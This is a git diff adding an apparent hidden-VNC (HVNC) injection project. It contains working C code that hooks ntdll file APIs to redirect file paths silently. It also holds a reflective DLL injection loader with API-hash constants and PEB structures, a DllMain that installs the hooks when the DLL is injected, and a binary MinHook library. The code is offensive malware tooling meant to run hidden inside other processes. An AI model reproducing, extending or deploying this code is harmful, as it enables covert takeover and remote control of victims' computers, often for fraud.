+ } + + NTSTATUS NTAPI HookedNtSetInformationFile( + HANDLE FileHandle, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass + ) { + typedef struct { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; + } FILE_RENAME_INFO; + + if (FileInformation && (FileInformationClass == FileRenameInformation || FileInformationClass == FileRenameInformationEx)) { + FILE_RENAME_INFO* renameInfo = (FILE_RENAME_INFO*)FileInformation; + if (renameInfo->FileNameLength > 0) { + SIZE_T pathLength = renameInfo->FileNameLength / sizeof(WCHAR); + + if (NeedsRedirection(renameInfo->FileName, pathLength)) { + SIZE_T newLength = 0; + WCHAR* newPath = ReplacePath(renameInfo->FileName, pathLength, &newLength); + + if (newPath) { + ULONG newInfoSize = sizeof(FILE_RENAME_INFO) - sizeof(WCHAR) + (newLength * sizeof(WCHAR)); + FILE_RENAME_INFO* newRenameInfo = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, newInfoSize); + + if (newRenameInfo) { + newRenameInfo->ReplaceIfExists = renameInfo->ReplaceIfExists; + newRenameInfo->RootDirectory = renameInfo->RootDirectory; + newRenameInfo->FileNameLength = (ULONG)(newLength * sizeof(WCHAR)); + memcpy(newRenameInfo->FileName, newPath, newRenameInfo->FileNameLength); + + NTSTATUS result = OriginalNtSetInformationFile(FileHandle, IoStatusBlock, newRenameInfo, newInfoSize, FileInformationClass); + + HeapFree(GetProcessHeap(), 0, newRenameInfo); + HeapFree(GetProcessHeap(), 0, newPath); + return result; + } + HeapFree(GetProcessHeap(), 0, newPath); + } + } + } + } + + return OriginalNtSetInformationFile(FileHandle, IoStatusBlock, FileInformation, Length, FileInformationClass); + } + + NTSTATUS NTAPI HookedNtQueryAttributesFile( + POBJECT_ATTRIBUTES ObjectAttributes, + PVOID FileInformation + ) { + PUNICODE_STRING originalString = NULL; + UNICODE_STRING newString = { 0 }; + WCHAR* buffer = NULL; + + if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) { + SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR); + + if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) { + SIZE_T newLength = 0; + buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength); + + if (buffer) { + originalString = ObjectAttributes->ObjectName; + newString.Buffer = buffer; + newString.Length = (USHORT)(newLength * sizeof(WCHAR)); + newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); + ObjectAttributes->ObjectName = &newString; + } + } + } + + NTSTATUS result = OriginalNtQueryAttributesFile(ObjectAttributes, FileInformation); + + if (originalString) { + ObjectAttributes->ObjectName = originalString; + if (buffer) HeapFree(GetProcessHeap(), 0, buffer); + } + + return result; + } + + NTSTATUS NTAPI HookedNtQueryFullAttributesFile( + POBJECT_ATTRIBUTES ObjectAttributes, + PVOID FileInformation + ) { + PUNICODE_STRING originalString = NULL; + UNICODE_STRING newString = { 0 }; + WCHAR* buffer = NULL; + + if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) { + SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR); + + if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) { + SIZE_T newLength = 0; + buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength); + + if (buffer) { + originalString = ObjectAttributes->ObjectName; + newString.Buffer = buffer; + newString.Length = (USHORT)(newLength * sizeof(WCHAR)); + newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); + ObjectAttributes->ObjectName = &newString; + } + } + } + + NTSTATUS result = OriginalNtQueryFullAttributesFile(ObjectAttributes, FileInformation); + + if (originalString) { + ObjectAttributes->ObjectName = originalString; + if (buffer) HeapFree(GetProcessHeap(), 0, buffer); + } + + return result; + } + + NTSTATUS NTAPI HookedNtQueryDirectoryFile( + HANDLE FileHandle, + HANDLE Event, + PVOID ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass, + BOOLEAN ReturnSingleEntry, + PUNICODE_STRING FileName, + BOOLEAN RestartScan + ) { + return OriginalNtQueryDirectoryFile(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, + FileInformation, Length, FileInformationClass, + ReturnSingleEntry, FileName, RestartScan); + } + + NTSTATUS NTAPI HookedNtQueryDirectoryFileEx( + HANDLE FileHandle, + HANDLE Event, + PVOID ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass, + ULONG QueryFlags, + PUNICODE_STRING FileName + ) { + return OriginalNtQueryDirectoryFileEx(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, + FileInformation, Length, FileInformationClass, + QueryFlags, FileName); + } + + // Install all hooks + void InstallNtApiHooks(LPVOID lpParameter) { + // Use a global try-catch to prevent any crashes + __try { +#if ENABLE_DEBUG_LOGGING + // Enable logging for debugging + WCHAR logPath[512]; + __try { + ExpandEnvironmentStringsW(L"%TEMP%\\rdi_hooks.log", logPath, 512); + g_LogFile = CreateFileW(logPath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + } + __except (EXCEPTION_EXECUTE_HANDLER) { + g_LogFile = INVALID_HANDLE_VALUE; + } + + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebugA("=== DLL Injection Started ==="); + } +#else + g_LogFile = INVALID_HANDLE_VALUE; +#endif + + // Initialize to empty strings to prevent crashes + g_SearchString[0] = L'\0'; + g_ReplacementString[0] = L'\0'; + + // Try to get configuration from environment variables + __try { + WCHAR envSearchString[512] = { 0 }; + WCHAR envReplaceString[512] = { 0 }; + + DWORD searchLen = GetEnvironmentVariableW(L"RDI_SEARCH_PATH", envSearchString, 512); + DWORD replaceLen = GetEnvironmentVariableW(L"RDI_REPLACE_PATH", envReplaceString, 512); + + if (searchLen > 0 && searchLen < 512 && replaceLen > 0 && replaceLen < 512) { + wcsncpy_s(g_SearchString, 512, envSearchString, searchLen); + g_SearchString[searchLen] = L'\0'; + wcsncpy_s(g_ReplacementString, 512, envReplaceString, replaceLen); + g_ReplacementString[replaceLen] = L'\0'; + + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebug(L"========================================"); + LogDebug(L"[ENV] Search string from env: "); + LogDebug(g_SearchString); + LogDebug(L"[ENV] Replacement string from env: "); + LogDebug(g_ReplacementString); + + char lenMsg[256]; + sprintf_s(lenMsg, 256, "[ENV] Search string length: %zu characters", wcslen(g_SearchString)); + LogDebugA(lenMsg); + LogDebug(L"========================================"); + } + } + else { + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebugA("Environment variables not found, hooks disabled"); + } + } + } + __except (EXCEPTION_EXECUTE_HANDLER) { + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebugA("Exception reading environment variables"); + } + g_SearchString[0] = L'\0'; + g_ReplacementString[0] = L'\0'; + } + + // Initialize MinHook (this must succeed) + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebugA("Initializing MinHook..."); + } + + if (MH_Initialize() != MH_OK) { + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebugA("ERROR: MinHook initialization failed!"); + } + return; + } + + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebugA("MinHook initialized successfully"); + } + + HMODULE ntdll = GetModuleHandleW(L"ntdll.dll"); + if (!ntdll) { + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebugA("ERROR: Failed to get ntdll.dll handle!"); + } + MH_Uninitialize(); + return; + } + + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebugA("Got ntdll.dll handle"); + } + + // Hook all the NT APIs + FARPROC pNtCreateFile = GetProcAddress(ntdll, "NtCreateFile"); + if (pNtCreateFile) { + MH_CreateHook(pNtCreateFile, &HookedNtCreateFile, (LPVOID*)&OriginalNtCreateFile); + MH_EnableHook(pNtCreateFile); + if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtCreateFile"); + } + + FARPROC pNtOpenFile = GetProcAddress(ntdll, "NtOpenFile"); + if (pNtOpenFile) { + MH_CreateHook(pNtOpenFile, &HookedNtOpenFile, (LPVOID*)&OriginalNtOpenFile); + MH_EnableHook(pNtOpenFile); + if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtOpenFile"); + } + + FARPROC pNtDeleteFile = GetProcAddress(ntdll, "NtDeleteFile"); + if (pNtDeleteFile) { + MH_CreateHook(pNtDeleteFile, &HookedNtDeleteFile, (LPVOID*)&OriginalNtDeleteFile); + MH_EnableHook(pNtDeleteFile); + if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtDeleteFile"); + } + + FARPROC pNtSetInformationFile = GetProcAddress(ntdll, "NtSetInformationFile"); + if (pNtSetInformationFile) { + MH_CreateHook(pNtSetInformationFile, &HookedNtSetInformationFile, (LPVOID*)&OriginalNtSetInformationFile); + MH_EnableHook(pNtSetInformationFile); + if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtSetInformationFile"); + } + + FARPROC pNtQueryAttributesFile = GetProcAddress(ntdll, "NtQueryAttributesFile"); + if (pNtQueryAttributesFile) { + MH_CreateHook(pNtQueryAttributesFile, &HookedNtQueryAttributesFile, (LPVOID*)&OriginalNtQueryAttributesFile); + MH_EnableHook(pNtQueryAttributesFile); + if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryAttributesFile"); + } + + FARPROC pNtQueryFullAttributesFile = GetProcAddress(ntdll, "NtQueryFullAttributesFile"); + if (pNtQueryFullAttributesFile) { + MH_CreateHook(pNtQueryFullAttributesFile, &HookedNtQueryFullAttributesFile, (LPVOID*)&OriginalNtQueryFullAttributesFile); + MH_EnableHook(pNtQueryFullAttributesFile); + if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryFullAttributesFile"); + } + + FARPROC pNtQueryDirectoryFile = GetProcAddress(ntdll, "NtQueryDirectoryFile"); + if (pNtQueryDirectoryFile) { + MH_CreateHook(pNtQueryDirectoryFile, &HookedNtQueryDirectoryFile, (LPVOID*)&OriginalNtQueryDirectoryFile); + MH_EnableHook(pNtQueryDirectoryFile); + if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryDirectoryFile"); + } + + FARPROC pNtQueryDirectoryFileEx = GetProcAddress(ntdll, "NtQueryDirectoryFileEx"); + if (pNtQueryDirectoryFileEx) { + MH_CreateHook(pNtQueryDirectoryFileEx, &HookedNtQueryDirectoryFileEx, (LPVOID*)&OriginalNtQueryDirectoryFileEx); + MH_EnableHook(pNtQueryDirectoryFileEx); + if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryDirectoryFileEx"); + } + + g_HooksInitialized = TRUE; + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebugA("=== All hooks installed successfully ==="); + } + } + __except (EXCEPTION_EXECUTE_HANDLER) { + if (g_LogFile != INVALID_HANDLE_VALUE) { + char excMsg[256]; + sprintf_s(excMsg, 256, "CRITICAL EXCEPTION: Hook installation failed! Code: 0x%X", GetExceptionCode()); + LogDebugA(excMsg); + } + } + } + + void RemoveNtApiHooks() { + __try { + LogDebugA("=== Removing hooks ==="); + g_HooksInitialized = FALSE; + MH_DisableHook(MH_ALL_HOOKS); + MH_Uninitialize(); + + if (g_LogFile != INVALID_HANDLE_VALUE) { + CloseHandle(g_LogFile); + g_LogFile = INVALID_HANDLE_VALUE; + } + } + __except (EXCEPTION_EXECUTE_HANDLER) { + // Fail silently on cleanup + } + } + +#ifdef __cplusplus +} +#endif diff --git a/HVNCInjection/src/NtApiHooks.h b/HVNCInjection/src/NtApiHooks.h new file mode 100644 index 0000000..4c6c59a --- /dev/null +++ b/HVNCInjection/src/NtApiHooks.h @@ -0,0 +1,23 @@ +//===============================================================================================// +// NT API Hooking Header +//===============================================================================================// +#ifndef _NTAPIHOOKS_H +#define _NTAPIHOOKS_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + + // Initialize all NT API hooks + void InstallNtApiHooks(LPVOID lpParameter); + + // Remove all NT API hooks + void RemoveNtApiHooks(); + +#ifdef __cplusplus +} +#endif + +#endif // _NTAPIHOOKS_H diff --git a/HVNCInjection/src/NtApiHooksConfig.h b/HVNCInjection/src/NtApiHooksConfig.h new file mode 100644 index 0000000..589afcd --- /dev/null +++ b/HVNCInjection/src/NtApiHooksConfig.h @@ -0,0 +1,12 @@ +//===============================================================================================// +// NT API Hook Configuration +// Edit this file and rebuild to change settings +//===============================================================================================// +#ifndef _NTAPIHOOKS_CONFIG_H +#define _NTAPIHOOKS_CONFIG_H + +// Set to 1 to enable detailed logging, 0 to disable +// Log file will be created at %TEMP%\rdi_hooks.log +#define ENABLE_DEBUG_LOGGING 0 + +#endif // _NTAPIHOOKS_CONFIG_H diff --git a/HVNCInjection/src/ReflectiveDLLInjection.h b/HVNCInjection/src/ReflectiveDLLInjection.h new file mode 100644 index 0000000..72fd96b --- /dev/null +++ b/HVNCInjection/src/ReflectiveDLLInjection.h @@ -0,0 +1,51 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include + +// we declare some common stuff in here... + +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID); +typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID); + +#define DLLEXPORT __declspec( dllexport ) + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/HVNCInjection/src/ReflectiveDll.c b/HVNCInjection/src/ReflectiveDll.c new file mode 100644 index 0000000..c8cc4b3 --- /dev/null +++ b/HVNCInjection/src/ReflectiveDll.c @@ -0,0 +1,43 @@ +//===============================================================================================// +// This is a stub for the actuall functionality of the DLL. +//===============================================================================================// +#include "ReflectiveLoader.h" +#include "NtApiHooks.h" + +// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are +// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own +// DllMain and use the LoadRemoteLibraryR() API to inject this DLL. + +// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c) +extern HINSTANCE hAppInstance; + +// Store the parameter passed to ReflectiveLoader +extern LPVOID g_lpReflectiveParameter; + +//===============================================================================================// +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + BOOL bReturnValue = TRUE; + switch (dwReason) + { + case DLL_QUERY_HMODULE: + if (lpReserved != NULL) + *(HMODULE*)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + DisableThreadLibraryCalls(hinstDLL); + + // Install NT API hooks with the parameter passed from the injector + InstallNtApiHooks(g_lpReflectiveParameter); + break; + case DLL_PROCESS_DETACH: + // Remove hooks on detach + RemoveNtApiHooks(); + break; + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} \ No newline at end of file diff --git a/HVNCInjection/src/ReflectiveLoader.h b/HVNCInjection/src/ReflectiveLoader.h new file mode 100644 index 0000000..af149a1 --- /dev/null +++ b/HVNCInjection/src/ReflectiveLoader.h @@ -0,0 +1,203 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include +#include + +#include "ReflectiveDLLInjection.h" + +typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); +typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR); +typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); +typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG); + +#define KERNEL32DLL_HASH 0x6A4ABC5B +#define NTDLLDLL_HASH 0x3CFA685D + +#define LOADLIBRARYA_HASH 0xEC0E4E8E +#define GETPROCADDRESS_HASH 0x7C0DFCAA +#define VIRTUALALLOC_HASH 0x91AFCA54 +#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 + +#define IMAGE_REL_BASED_ARM_MOV32A 5 +#define IMAGE_REL_BASED_ARM_MOV32T 7 + +#define ARM_MOV_MASK (DWORD)(0xFBF08000) +#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) +#define ARM_MOVW 0xF2400000 +#define ARM_MOVT 0xF2C00000 + +#define HASH_KEY 13 +//===============================================================================================// +#pragma intrinsic( _rotr ) + +__forceinline DWORD ror(DWORD d) +{ + return _rotr(d, HASH_KEY); +} + +__forceinline DWORD hash(char* c) +{ + register DWORD h = 0; + do + { + h = ror(h); + h += *c; + } while (*++c); + + return h; +} +//===============================================================================================// +typedef struct _UNICODE_STR +{ + USHORT Length; + USHORT MaximumLength; + PWSTR pBuffer; +} UNICODE_STR, * PUNICODE_STR; + +// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY +//__declspec( align(8) ) +typedef struct _LDR_DATA_TABLE_ENTRY +{ + //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + +// WinDbg> dt -v ntdll!_PEB_LDR_DATA +typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes +{ + DWORD dwLength; + DWORD dwInitialized; + LPVOID lpSsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID lpEntryInProgress; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK +typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes +{ + struct _PEB_FREE_BLOCK* pNext; + DWORD dwSize; +} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; + +// struct _PEB is defined in Winternl.h but it is incomplete +// WinDbg> dt -v ntdll!_PEB +typedef struct __PEB // 65 elements, 0x210 bytes +{ + BYTE bInheritedAddressSpace; + BYTE bReadImageFileExecOptions; + BYTE bBeingDebugged; + BYTE bSpareBool; + LPVOID lpMutant; + LPVOID lpImageBaseAddress; + PPEB_LDR_DATA pLdr; + LPVOID lpProcessParameters; + LPVOID lpSubSystemData; + LPVOID lpProcessHeap; + PRTL_CRITICAL_SECTION pFastPebLock; + LPVOID lpFastPebLockRoutine; + LPVOID lpFastPebUnlockRoutine; + DWORD dwEnvironmentUpdateCount; + LPVOID lpKernelCallbackTable; + DWORD dwSystemReserved; + DWORD dwAtlThunkSListPtr32; + PPEB_FREE_BLOCK pFreeList; + DWORD dwTlsExpansionCounter; + LPVOID lpTlsBitmap; + DWORD dwTlsBitmapBits[2]; + LPVOID lpReadOnlySharedMemoryBase; + LPVOID lpReadOnlySharedMemoryHeap; + LPVOID lpReadOnlyStaticServerData; + LPVOID lpAnsiCodePageData; + LPVOID lpOemCodePageData; + LPVOID lpUnicodeCaseTableData; + DWORD dwNumberOfProcessors; + DWORD dwNtGlobalFlag; + LARGE_INTEGER liCriticalSectionTimeout; + DWORD dwHeapSegmentReserve; + DWORD dwHeapSegmentCommit; + DWORD dwHeapDeCommitTotalFreeThreshold; + DWORD dwHeapDeCommitFreeBlockThreshold; + DWORD dwNumberOfHeaps; + DWORD dwMaximumNumberOfHeaps; + LPVOID lpProcessHeaps; + LPVOID lpGdiSharedHandleTable; + LPVOID lpProcessStarterHelper; + DWORD dwGdiDCAttributeList; + LPVOID lpLoaderLock; + DWORD dwOSMajorVersion; + DWORD dwOSMinorVersion; + WORD wOSBuildNumber; + WORD wOSCSDVersion; + DWORD dwOSPlatformId; + DWORD dwImageSubsystem; + DWORD dwImageSubsystemMajorVersion; + DWORD dwImageSubsystemMinorVersion; + DWORD dwImageProcessAffinityMask; + DWORD dwGdiHandleBuffer[34]; + LPVOID lpPostProcessInitRoutine; + LPVOID lpTlsExpansionBitmap; + DWORD dwTlsExpansionBitmapBits[32]; + DWORD dwSessionId; + ULARGE_INTEGER liAppCompatFlags; + ULARGE_INTEGER liAppCompatFlagsUser; + LPVOID lppShimData; + LPVOID lpAppCompatInfo; + UNICODE_STR usCSDVersion; + LPVOID lpActivationContextData; + LPVOID lpProcessAssemblyStorageMap; + LPVOID lpSystemDefaultActivationContextData; + LPVOID lpSystemAssemblyStorageMap; + DWORD dwMinimumStackCommit; +} _PEB, * _PPEB; + +typedef struct +{ + WORD offset : 12; + WORD type : 4; +} IMAGE_RELOC, * PIMAGE_RELOC; +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/HVNCInjection/src/libMinHook.x64.lib b/HVNCInjection/src/libMinHook.x64.lib new file mode 100644 index 0000000000000000000000000000000000000000..e211ad6897c374d24570c4076a1989186a706f94 GIT binary patch literal 548944 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 